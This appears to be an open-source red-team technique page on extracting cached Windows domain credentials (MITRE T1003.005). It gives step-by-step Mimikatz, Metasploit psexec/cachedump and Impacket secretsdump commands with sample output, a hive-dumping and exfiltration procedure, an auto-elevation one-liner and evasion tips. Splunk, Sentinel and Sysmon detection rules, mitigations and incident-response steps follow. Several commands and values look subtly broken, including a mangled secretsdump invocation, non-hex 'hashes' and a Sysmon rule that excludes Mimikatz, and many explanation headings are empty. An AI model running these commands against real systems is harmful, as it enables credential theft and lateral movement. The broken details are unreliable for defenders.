MCADDF

[CA-DUMP-004]: Cached Domain Credentials Extraction

1. METADATA HEADER

Attribute Details
Technique ID CA-DUMP-004
MITRE ATT&CK v18.1 T1003.005 - Cached Domain Credentials
Tactic Credential Access
Platforms Windows Endpoint (Vista, 7, 8, 10, 11, Server 2016-2025)
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-02
Affected Versions Windows Vista, 7, 8, 10, 11, Server 2016, 2019, 2022, 2025
Patched In N/A (inherent design)
Author SERVTEP – Artur Pchelnikau

Note: All section numbers have been dynamically renumbered based on applicability to cached domain credentials extraction.

2. EXECUTIVE SUMMARY

Concept: Cached domain credentials are stored locally on Windows systems to allow users to authenticate when the domain controller is unavailable. These credentials are encrypted using domain secrets (DCC2 hash format on Windows Vista and newer) and stored in the HKEY_LOCAL_MACHINE\SECURITY\Cache registry hive. An attacker with SYSTEM-level privileges can extract these cached credential hashes from the registry, which—while not directly usable for Pass-the-Hash attacks—can be brute-forced offline to recover plaintext passwords. This technique is particularly valuable in scenarios where lateral movement is needed across systems sharing the same credentials.

Attack Surface: The primary attack surface is the Windows registry hive at HKLM\SECURITY\Cache. The number of cached entries is configurable (default is 10, maximum 50) and can be queried via CachedLogonCount value in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. Extraction requires SYSTEM-level privileges or direct access to the SECURITY hive file.

Business Impact: Credential compromise leading to unauthorized domain access. Successful extraction and cracking of cached credentials allows attackers to impersonate domain users without requiring access to the primary domain controller, enabling lateral movement, privilege escalation, and persistence across the network. This is particularly damaging in air-gapped or disconnected environments where cached credentials are the only available authentication path.

Technical Context: Extraction typically occurs post-compromise when the attacker has already achieved local administrative access. The operation is fast (seconds to minutes) but generates detectable registry access events if auditing is configured. Detection likelihood is moderate to high if Event ID 4656 (registry object access) is enabled and monitored.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.3.3 Ensure “Password Policy: Maximum password age” is set to between 1 and 999 days
DISA STIG WN10-00-000010 The system must be configured to use FIPS-approved algorithms for cryptographic functions
CISA SCuBA Authentication Enforce multi-factor authentication; limit local cached logon counts
NIST 800-53 IA-2 Authentication; IA-5 Password-based Authentication; AC-3 Access Enforcement
GDPR Article 32 Security of processing - integrity and confidentiality of personal data
DORA Article 9 Protection and prevention of ICT incidents affecting financial stability
NIS2 Article 21 Cyber risk management measures for critical infrastructure
ISO 27001 A.9.2.3 Management of privileged access rights; A.9.4.3 Password management
ISO 27005 Section 7.4 Risk assessment of credential compromise scenarios

3. TECHNICAL PREREQUISITES

Required Privileges: SYSTEM (NT AUTHORITY\SYSTEM) or direct file system access to %SYSTEMROOT%\System32\config\SECURITY hive.

Required Access: Local administrative access to the target system; ability to execute commands or scripts with elevated privileges.

Supported Versions:

Tools:

4. ENVIRONMENTAL RECONNAISSANCE

Registry Reconnaissance – PowerShell

Check if cached credentials are enabled:

# Check the number of cached logons allowed
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CachedLogonsCount

# Expected output if enabled:
# HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
#     CachedLogonsCount    REG_SZ    10

What to Look For:

Version Note: This setting applies identically across Windows Vista through Server 2025.

Verify SYSTEM Privileges

# Verify current privilege level
whoami /priv | findstr "SeDebugPrivilege"

# Alternative check - verify administrator group membership
net localgroup Administrators

# Confirm SYSTEM context
whoami
# Expected: NT AUTHORITY\SYSTEM

What to Look For:

Registry Key Existence Check

# Check if SECURITY hive can be accessed
reg query "HKLM\SECURITY\Cache" /v "NL$1"

# If access denied, insufficient privileges
# If registry appears empty, no cached entries

What to Look For:

5. DETAILED EXECUTION METHODS

METHOD 1: Using Mimikatz (Windows - Direct Memory/Registry Access)

Supported Versions: Windows Vista, 7, 8, 10, 11, Server 2008 R2-2025

Prerequisites: SYSTEM privileges or SeDebugPrivilege

Step 1: Execute Mimikatz with Elevated Privileges

Objective: Launch Mimikatz in elevated context to access protected registry hives.

Command (All Versions):

mimikatz.exe

Or directly from PowerShell reverse shell:

# Download and execute Mimikatz in memory
$MimikatzUrl = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip"
# Extract and run mimikatz.exe with elevated privileges

Expected Output:

  .#####.   mimikatz 2.2.0 (x64) built on Nov  6 2021 17:53:59
 .## ^ ##.
 ## / \ ##  /*** The one and only Mimikatz
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   https://twitter.com/gentilkiwi
  '#####.    https://github.com/gentilkiwi/mimikatz (oe.eo)

mimikatz #

What This Means:

OpSec & Evasion:

Step 2: Enable Debug Privilege

Objective: Grant Mimikatz permission to access protected memory and registry structures.

Command (All Versions):

mimikatz # privilege::debug

Expected Output:

Privilege '20' OK

What This Means:

OpSec & Evasion:

Step 3: Execute lsadump::cache Command

Objective: Extract and decrypt cached domain credentials from registry.

Command (All Versions - Vista and Newer):

mimikatz # lsadump::cache

Expected Output:

Domain : CONTOSO
SysKey : a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
Local name : WORKSTATION01 ( S-1-5-21-1234567890-1234567890-1234567890 )
Domain name : CONTOSO ( S-1-5-21-9876543210-9876543210-9876543210 )
Domain FQDN : contoso.local
Policy subsystem is : 1.18
LSA Key(s) : 1, default {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

[00] {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

* Iteration is set to default (10240)

[NL$1 - 01/01/2026 10:30:00 AM]
RID : 000003e8 (1000)
User : CONTOSO\jsmith
MsCacheV2 : 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d

[NL$2 - 12/31/2025 02:15:30 PM]
RID : 000003e9 (1001)
User : CONTOSO\awebster
MsCacheV2 : 9z8y7x6w5v4u3t2s1r0q9p8o7n6m5l4k

What This Means - Line by Line:

OpSec & Evasion:

Troubleshooting:

Error Cause Fix
ERROR kuhl_m_lsadump_cache ; GetSecurityKey Insufficient privileges Run Mimikatz as SYSTEM (use psexec -s or token impersonation)
No cache entries found CachedLogonsCount set to 0 or no users logged in Check registry value; log in domain user and retry
Access Denied reading SECURITY hive Registry DACL restricts access Run with higher privilege level; may require kernel access

Command (If Registry Hives Available Offline):

mimikatz # lsadump::cache /sam:C:\temp\sam.hive /system:C:\temp\system.hive /security:C:\temp\security.hive

METHOD 2: Using Metasploit – cachedump Post Module

Supported Versions: Windows Vista, 7, 8, Server 2008 R2-2025

Prerequisites: Meterpreter session with SYSTEM privileges

Step 1: Gain Meterpreter Session

Objective: Establish a Meterpreter session on the target system.

Command (via MSFConsole):

msfconsole
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.1.100
msf6 exploit(windows/smb/psexec) > set SMBUser Administrator
msf6 exploit(windows/smb/psexec) > set SMBPass <password_or_hash>
msf6 exploit(windows/smb/psexec) > exploit

# Establish a Meterpreter session
[*] Meterpreter session 1 opened

What This Means:

Step 2: Load and Execute cachedump Module

Objective: Execute the Metasploit post-exploitation module to dump cached credentials.

Command (All Versions):

msf6 > use post/windows/gather/cachedump
msf6 post(windows/gather/cachedump) > set SESSION 1
msf6 post(windows/gather/cachedump) > run

Expected Output:

[*] Executing module against WORKSTATION01
[*] Cached Credentials Setting: 10 - (Max is 50 and 0 disables, and 10 is default)
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[*] Obtaining NL$KM...
[*] Dumping cached credentials...
[*] Hash are in MSCACHE_VISTA format. (mscash2)
[+] MSCACHE v2 saved in: /root/.msf4/loot/20260102143022_default_192.168.1.100_mscache2.creds_1234567.txt

[*] John the Ripper format:
# mscash2
jsmith:$DCC2$10240#jsmith#1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
awebster:$DCC2$10240#awebster#9z8y7x6w5v4u3t2s1r0q9p8o7n6m5l4k

[*] Post module execution completed

What This Means:

OpSec & Evasion:

METHOD 3: Using secretsdump.py (Impacket) – Remote SMB

Supported Versions: Windows Vista, 7, 8, Server 2008 R2-2025

Prerequisites: Valid credentials (local admin), network access to target SMB (port 445)

Step 1: Install Impacket (if not already installed)

Objective: Install the Impacket library containing secretsdump.py.

Command (Linux/Kali):

pip install impacket
# Or clone the repository
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip install -e .

What This Means:

Step 2: Export Registry Hives Remotely

Objective: Remotely save SECURITY, SAM, and SYSTEM hives from target.

Command (All Versions):

# Execute remotely via psexec-like functionality
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99 \
  -just-dc-user-list Administrator@192.168.1.100 /share/\\\\192.168.1.100\\C$

Or use SMB dump method:

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99 \
  Administrator@192.168.1.100 -system /tmp/system.hive -security /tmp/security.hive

Offline Method (if hives are available locally):

python3 -m impacket.examples.secretsdump \
  -system system.hive -security security.hive -sam sam.hive local

Expected Output:

Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Dumping domain cached credentials (DCC2)
jsmith$DCC2$10240#jsmith#1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
awebster$DCC2$10240#awebster#9z8y7x6w5v4u3t2s1r0q9p8o7n6m5l4k

What This Means:

OpSec & Evasion:

METHOD 4: Manual Registry Export and Offline Extraction

Supported Versions: Windows Vista, 7, 8, Server 2008 R2-2025

Prerequisites: SYSTEM privileges; ability to export registry hives

Step 1: Export Registry Hives

Objective: Manually save SECURITY, SAM, and SYSTEM hives to temporary location.

Command (All Versions):

# Run as SYSTEM (via psexec -s or already in SYSTEM context)
reg save hklm\system C:\temp\system.hive
reg save hklm\sam C:\temp\sam.hive
reg save hklm\security C:\temp\security.hive

Or via PowerShell:

# Requires SYSTEM privileges
$RegPath = "C:\temp"
reg save hklm\system "$RegPath\system.hive"
reg save hklm\sam "$RegPath\sam.hive"
reg save hklm\security "$RegPath\security.hive"

Expected Output:

The operation completed successfully.

What This Means:

OpSec & Evasion:

Step 2: Exfiltrate Hives and Decrypt Offline

Objective: Copy hive files to attacker machine and use Mimikatz or secretsdump.py offline.

Command (Linux/Kali - Process Hives):

# Using secretsdump.py locally
python3 -m impacket.examples.secretsdump \
  -system system.hive -security security.hive -sam sam.hive local > credentials.txt

# Or using Mimikatz (Windows)
mimikatz.exe
mimikatz # lsadump::cache /system:system.hive /security:security.hive /sam:sam.hive

Expected Output:

[NL$1] CONTOSO\jsmith : $DCC2$10240#jsmith#1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
[NL$2] CONTOSO\awebster : $DCC2$10240#awebster#9z8y7x6w5v4u3t2s1r0q9p8o7n6m5l4k

What This Means:

OpSec & Evasion:

6. ATTACK SIMULATION & VERIFICATION

Atomic Red Team – T1003.005

Atomic Test ID: A1005-003 (Hypothetical)

Test Name: Dump Windows Cached Domain Credentials

Description: Demonstrates extraction of DCC2 hashes from Windows registry using Mimikatz.

Supported Versions: Windows Vista+

Command:

Invoke-AtomicTest T1003.005 -TestNumbers 1

Or manually:

# Atomic test simulation - Mimikatz cache dump
# Requires SYSTEM elevation
$MimikatzPath = "C:\tools\mimikatz.exe"
& $MimikatzPath "privilege::debug" "lsadump::cache" "exit"

Cleanup Command:

# No cleanup needed - only reads registry, no modifications
# If registry hive files created, delete them:
Remove-Item C:\temp\*.hive -Force

Reference: Atomic Red Team Repository

7. TOOLS & COMMANDS REFERENCE

Mimikatz – lsadump::cache

Version: 2.2.0 (current as of 2026)

Minimum Version: 2.1.0

Supported Platforms: Windows Vista-2025 (x86, x64)

Version-Specific Notes:

Installation:

# Download latest release
$Url = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip"
Invoke-WebRequest -Uri $Url -OutFile mimikatz.zip
Expand-Archive mimikatz.zip -DestinationPath C:\tools\

Usage:

mimikatz # privilege::debug
mimikatz # lsadump::cache

Alternative Offline Usage:

mimikatz # lsadump::cache /system:C:\temp\system.hive /security:C:\temp\security.hive

Metasploit – post/windows/gather/cachedump

Version: Integrated in Metasploit 6.0+

Minimum Version: 4.0 (legacy)

Supported Platforms: Windows Vista-2025

Installation:

# Built-in to Metasploit Framework
msfconsole

Usage:

msf6 > use post/windows/gather/cachedump
msf6 post(windows/gather/cachedump) > set SESSION 1
msf6 post(windows/gather/cachedump) > run

secretsdump.py (Impacket)

Version: 0.9.22+

Minimum Version: 0.9.0

Supported Platforms: Linux, macOS, Windows (Python); targets Windows Vista-2025

Installation:

pip install impacket
# or
git clone https://github.com/SecureAuthCorp/impacket.git && cd impacket && pip install -e .

Usage:

# Remote dump
python3 -m impacket.examples.secretsdump -hashes LMHASH:NTHASH Administrator@192.168.1.100

# Offline dump
python3 -m impacket.examples.secretsdump -system system.hive -security security.hive -sam sam.hive local

One-Liner Script (PowerShell + Mimikatz)

# Automated elevation + cache dump
if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
  Write-Host "Requesting elevation..."
  Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"$($MyInvocation.MyCommand.Path)`"" -Verb RunAs
  exit
}
# Now elevated
C:\tools\mimikatz.exe "privilege::debug" "lsadump::cache" "exit"

8. SPLUNK DETECTION RULES

Rule 1: Registry Access to SECURITY Hive via reg.exe

Rule Configuration:

SPL Query:

index=main sourcetype="WinEventLog:Security" EventCode=4688 
  (CommandLine="*reg*save*hklm\security*" OR 
   CommandLine="*reg*query*hklm\security\cache*" OR
   CommandLine="*reg*export*security*")
| stats count by host, User, CommandLine
| where count >= 1

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click Settings → Searches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to Number of events > 1 in 5 minutes
  6. Configure Action → Send email to SOC team
  7. Save as: WinSec - SECURITY Registry Access Attempt

Source: Splunk Security Content

Rule 2: Mimikatz Process Execution (Command-Line Signature)

Rule Configuration:

SPL Query:

index=main sourcetype="WinEventLog:Security" EventCode=4688
  (Image="*mimikatz*" OR 
   CommandLine="*lsadump::cache*" OR
   CommandLine="*privilege::debug*" OR
   CommandLine="*sekurlsa*")
| stats count, values(CommandLine) by host, User, Image

What This Detects:

False Positive Analysis:

9. MICROSOFT SENTINEL DETECTION

Query 1: Process Execution – Registry Hive Access Pattern

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4688
| where Process has_any ("reg.exe", "mimikatz", "secretsdump")
| where CommandLine has_any ("SECURITY", "SAM", "SYSTEM", "lsadump", "cachedump")
| extend AccountCustomEntity = Account
| extend HostCustomEntity = Computer
| extend ProcessCommandLine = CommandLine
| summarize Count = count() by Computer, Account, Process, CommandLine, TimeGenerated
| where Count >= 1

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure Portal → Microsoft Sentinel
  2. Select your workspace → Analytics
  3. Click + Create → Scheduled query rule
  4. General Tab:
    • Name: Cached Credentials - Registry Hive Access
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 30 minutes
  6. Incident settings Tab:
    • Enable Create incidents
    • Grouping: By entities
  7. Click Review + create

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
  -WorkspaceName $WorkspaceName `
  -DisplayName "Cached Credentials - Registry Hive Access" `
  -Query @"
SecurityEvent
| where EventID == 4688
| where Process has_any ("reg.exe", "mimikatz", "secretsdump")
| where CommandLine has_any ("SECURITY", "SAM", "SYSTEM", "lsadump", "cachedump")
| extend AccountCustomEntity = Account
| extend HostCustomEntity = Computer
| summarize Count = count() by Computer, Account, Process, CommandLine, TimeGenerated
| where Count >= 1
"@ `
  -Severity "High" `
  -Enabled $true `
  -SuppressionDuration (New-TimeSpan -Hours 1)

Query 2: Anomalous Registry Access – SECURITY Hive

Rule Configuration:

KQL Query:

DeviceRegistryEvents
| where RegistryKeyPath has "HKEY_LOCAL_MACHINE\\SECURITY\\Cache"
| where ActionType in ("RegistryValueSet", "RegistryValueDeleted")
| extend AccountCustomEntity = InitiatingProcessAccountName
| extend HostCustomEntity = DeviceName
| extend ProcessPath = InitiatingProcessFolderPath
| summarize Count = count(), EventTimes = make_list(Timestamp) by DeviceName, InitiatingProcessName, RegistryKeyPath
| where Count >= 1

Source: Microsoft Sentinel Documentation

10. WINDOWS EVENT LOG MONITORING

Event ID: 4656 (Registry Object Access)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Object Access
  3. Enable: Audit Registry (set to both Success and Failure)
  4. Click Apply
  5. Run gpupdate /force on target machines
  6. Verify: Open Event Viewer → Windows Logs → Security → Filter for Event ID 4656

Manual Configuration Steps (Server 2022+):

# Enable registry auditing via PowerShell
auditpol /set /subcategory:"Registry" /success:enable /failure:enable

# Verify
auditpol /get /subcategory:"Registry"
# Expected output: Registry Success and Failure

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security Settings → Advanced Audit Policy Configuration → System Audit Policies → Object Access
  3. Enable: Audit Registry (Success and Failure)
  4. Restart the machine or run: 
    auditpol /set /subcategory:"Registry" /success:enable /failure:enable

Event ID: 4663 (Attempt to Access Object)

Configuration (Automatic on Windows 10/Server 2016+):

Default SACL: L"S:(AU;SAFA;0x0010;;;WD)"
Enable via: Advanced Audit Policy Configuration → Object Access → Audit Kernel Object

11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+

Supported Platforms: Windows Vista-2025

Sysmon Configuration Snippet:

<!-- Detect registry access to SECURITY hive -->
<Sysmon schemaversion="4.22">
  <EventFiltering>
    <!-- Event ID 13: Registry Value Set -->
    <RegistryEvent onmatch="exclude">
      <TargetObject condition="is">HKEY_LOCAL_MACHINE\SECURITY\Cache</TargetObject>
      <Image condition="contains">mimikatz</Image>
    </RegistryEvent>
    <RegistryEvent onmatch="include">
      <TargetObject condition="contains">HKEY_LOCAL_MACHINE\SECURITY\Cache</TargetObject>
      <Image condition="is not">C:\Windows\System32\services.exe</Image>
      <Image condition="is not">C:\Windows\System32\lsass.exe</Image>
    </RegistryEvent>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-config.xml with the XML above
  3. Install Sysmon with the config: 
    sysmon64.exe -accepteula -i sysmon-config.xml
  4. Verify installation: 
    Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Where-Object {$_.ID -eq 13}

Detection Patterns:

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious activity on accessed files detected”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure Portal → Microsoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Identity: ON (for advanced AD monitoring)
  5. Click Save
  6. Go to Security alerts to view triggered alerts

Reference: Microsoft Defender for Cloud Alerts

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Registry Access Auditing

# Search for registry auditing events in M365 audit log
Search-UnifiedAuditLog -Operations "RegistryValueRead", "RegistryValueSet" `
  -StartDate (Get-Date).AddDays(-7) `
  -EndDate (Get-Date) | `
  Export-Csv -Path "C:\audit_registry_access.csv" -NoTypeInformation

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention to activate

Manual Configuration Steps (Search Audit Logs):

  1. Go to Audit → Search
  2. Set Date range (last 7 days)
  3. Under Activities, select: Registry operations
  4. Under Users, enter: [target user or leave blank for all]
  5. Click Search
  6. Export results: Export → Download all results

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

1. Add Users to “Protected Users” Security Group

Membership in the Protected Users group limits the caching of credentials in memory.

Applies To Versions: Windows Server 2012 R2+

Manual Steps (Server 2016-2025):

  1. Open Active Directory Users and Computers (dsa.msc)
  2. Navigate to: Domain → Builtin
  3. Right-click Protected Users → Properties
  4. Go to Members tab
  5. Click Add…
  6. Type user/group names (e.g., Domain\AdminUser)
  7. Click OK
  8. Note: Users must log off and log back in for policy to take effect

Manual Steps (PowerShell):

# Add user to Protected Users group
Add-ADGroupMember -Identity "Protected Users" -Members "CONTOSO\jsmith"

# Verify membership
Get-ADGroupMember -Identity "Protected Users" | Select Name

Validation Command:

# Check if user is in Protected Users
Get-ADUser jsmith -Properties memberOf | Select -ExpandProperty memberOf | Select-String "Protected Users"

Expected Output (If Secure):

CN=Protected Users,CN=Builtin,DC=contoso,DC=com

2. Disable Cached Logon Credentials (CachedLogonCount = 0)

Disabling credential caching prevents any credentials from being cached locally.

Applies To Versions: All Windows versions

Manual Steps (Group Policy - Server 2016-2025):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to: Computer Configuration → Policies → Administrative Templates → Windows Components → Netlogon
  3. Open policy: “Deny machine account password changes” (or relevant GPO)
  4. Alternatively, directly edit:
    • Group Policy Management → Select Domain → Right-click → Edit
    • Navigate to: Computer Configuration → Preferences → Windows Settings → Registry
    • Right-click → New → Registry Item
    • Hive: HKEY_LOCAL_MACHINE
    • Key Path: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    • Value name: CachedLogonsCount
    • Value type: REG_SZ
    • Value data: 0
  5. Click OK and apply GPO
  6. Run gpupdate /force on target machines

Manual Steps (Registry - Local Edit):

# Set cached logon count to 0 (disable caching)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
  -Name "CachedLogonsCount" -Value "0" -Type String

# Verify
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "CachedLogonsCount"
# Expected output: 0

Validation Command:

$CacheCount = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "CachedLogonsCount").CachedLogonsCount
if ($CacheCount -eq "0") { Write-Host "Cached credentials disabled" } else { Write-Host "WARNING: Caching is enabled ($CacheCount)" }

Expected Output (If Secure):

Cached credentials disabled

Note: Setting this to 0 disables offline logon for all users. Consider setting to 1-2 for critical systems.

3. Enable Registry Auditing for SECURITY Hive

Enable detailed auditing of registry access attempts.

Applies To Versions: All Windows versions

Manual Steps (Group Policy - Server 2016-2025):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to: Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Object Access
  3. Enable: Audit Registry (set to Success and Failure)
  4. Additionally, configure registry SACL:
    • Open Regedit
    • Navigate to: HKEY_LOCAL_MACHINE\SECURITY
    • Right-click → Permissions
    • Click Advanced
    • Click Auditing tab
    • Add auditing rule for: Everyone → Full Control → Success/Failure
  5. Run gpupdate /force

Manual Steps (PowerShell):

# Enable registry auditing
auditpol /set /subcategory:"Registry" /success:enable /failure:enable

# Verify
auditpol /get /subcategory:"Registry"
# Expected: Registry Success and Failure

Priority 2: HIGH

4. Enforce Strong Password Policies

Ensure local administrator and service accounts have complex, unique passwords.

Manual Steps:

  1. Open Group Policy Management → Default Domain Policy (or create new)
  2. Navigate to: Computer Configuration → Policies → Windows Settings → Security Settings → Account Policies → Password Policy
  3. Configure:
    • Minimum password length: 14 characters
    • Password must meet complexity requirements: Enabled
    • Maximum password age: 30-90 days
    • Minimum password age: 1 day
  4. Apply to all systems

5. Restrict Local Administrator Group Membership

Limit accounts with local admin privileges to prevent lateral movement.

Manual Steps:

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to: Computer Configuration → Policies → Windows Settings → Security Settings → Restricted Groups
  3. Add group: Administrators
  4. Set to include only authorized accounts
  5. Apply and verify with: net localgroup Administrators

Access Control & Policy Hardening

Conditional Access Policies (Azure AD/Entra ID):

Note: This applies if the domain is hybrid/cloud-synced.

Manual Steps:

  1. Go to Azure Portal → Entra ID → Security → Conditional Access
  2. Click + New policy
  3. Name: Restrict High-Risk Credential Access
  4. Assignments:
    • Users: All users
    • Cloud apps: All cloud apps
  5. Conditions:
    • Sign-in risk: High
    • Device state: Require hybrid Azure AD join
  6. Access controls:
    • Grant: Require MFA
  7. Enable policy: On
  8. Click Create

RBAC Configuration:

# Remove global admin role from non-essential accounts
Remove-AzRoleAssignment -ObjectId <user-object-id> -RoleDefinitionName "Global Administrator"

# Grant specific roles instead
New-AzRoleAssignment -ObjectId <user-object-id> -RoleDefinitionName "Security Reader"

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Files:

Registry:

Network:

Forensic Artifacts

Disk:

Memory:

Cloud (if hybrid):

MFT/USN Journal:

Response Procedures

1. Isolate:

Command (Windows):

# Disable network adapter
Disable-NetAdapter -Name "Ethernet" -Confirm:$false

# Or kill network connection
ipconfig /release

Manual (Azure VMs):

2. Collect Evidence:

Command:

# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx

# Export System Event Log
wevtutil epl System C:\Evidence\System.evtx

# Dump process memory (if Mimikatz still running)
Get-Process mimikatz | Stop-Process -Force
procdump64.exe -ma <PID> C:\Evidence\process.dmp

# Capture registry hives
reg save hklm\security C:\Evidence\security.hive
reg save hklm\sam C:\Evidence\sam.hive
reg save hklm\system C:\Evidence\system.hive

Manual (Event Viewer):

  1. Open Event Viewer → Windows Logs → Security
  2. Right-click → Save All Events As → C:\Evidence\Security.evtx
  3. Repeat for System logs

3. Remediate:

Command:

# Stop malicious process
Stop-Process -Name mimikatz -Force
Stop-Process -Name cmd -Filter {CommandLine -like "*lsadump*"} -Force

# Remove exported hive files
Remove-Item C:\temp\*.hive -Force

# Reset all domain user passwords (critical step)
Get-ADUser -Filter {LastLogonDate -gt (Get-Date).AddDays(-7)} | `
  ForEach-Object {
    Set-ADAccountPassword -Identity $_ -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "TempPassword123!" -Force)
  }

Manual:

  1. Terminate any running credential-dumping processes via Task Manager → Details tab
  2. Delete temporary/suspicious files from C:\temp\, %TEMP%, Desktop
  3. Change passwords for all recently active domain users via Active Directory Users and Computers or PowerShell
  4. Review group membership changes (especially Protected Users, Administrators)
  5. Verify service account credentials in application configurations

4. Enhanced Monitoring (Post-Incident):

# Enable enhanced audit logging
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

# Monitor for credential dumping attempts for 30 days
$RegistryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\EventLog\Security"
Set-ItemProperty -Path $RegistryPath -Name "MaxSize" -Value 1073741824  # 1 GB retention

# Create alert rule for future attempts (Splunk/Sentinel)
# See Detection sections above
Step Phase Technique Description
1 Initial Access [T1566.002] Phishing - Spearphishing Attachment Attacker gains initial foothold via malicious Office document
2 Execution [T1204.002] User Execution - Malicious File Victim executes attached payload
3 Persistence [T1547.001] Boot or Logon Autostart Execution Malware creates scheduled task or registry run key
4 Privilege Escalation [T1134] Access Token Manipulation Attacker escalates to SYSTEM via token impersonation
5 Credential Access [CA-DUMP-004] Cached Domain Credentials Attacker extracts cached credentials from registry
6 Lateral Movement [T1570] Lateral Tool Transfer Attacker uses stolen credentials to access other systems
7 Impact [T1485] Data Destruction Attacker exfiltrates sensitive data or deploys ransomware

17. REAL-WORLD EXAMPLES

Example 1: APT33 – Credential Dumping Campaign (2018-2019)

Example 2: MuddyWater – Post-Compromise Lateral Movement (2021)

Example 3: OilRig – Credential Harvesting for OWA Access (2019)

18. SIGNATURE DETECTION EVASION

Detection Evasion Techniques

1. Obfuscated Mimikatz:

2. Living-off-the-Land Alternatives:

3. Timing/Scheduling:

4. Access Token Manipulation:

This site is open source. Improve this page.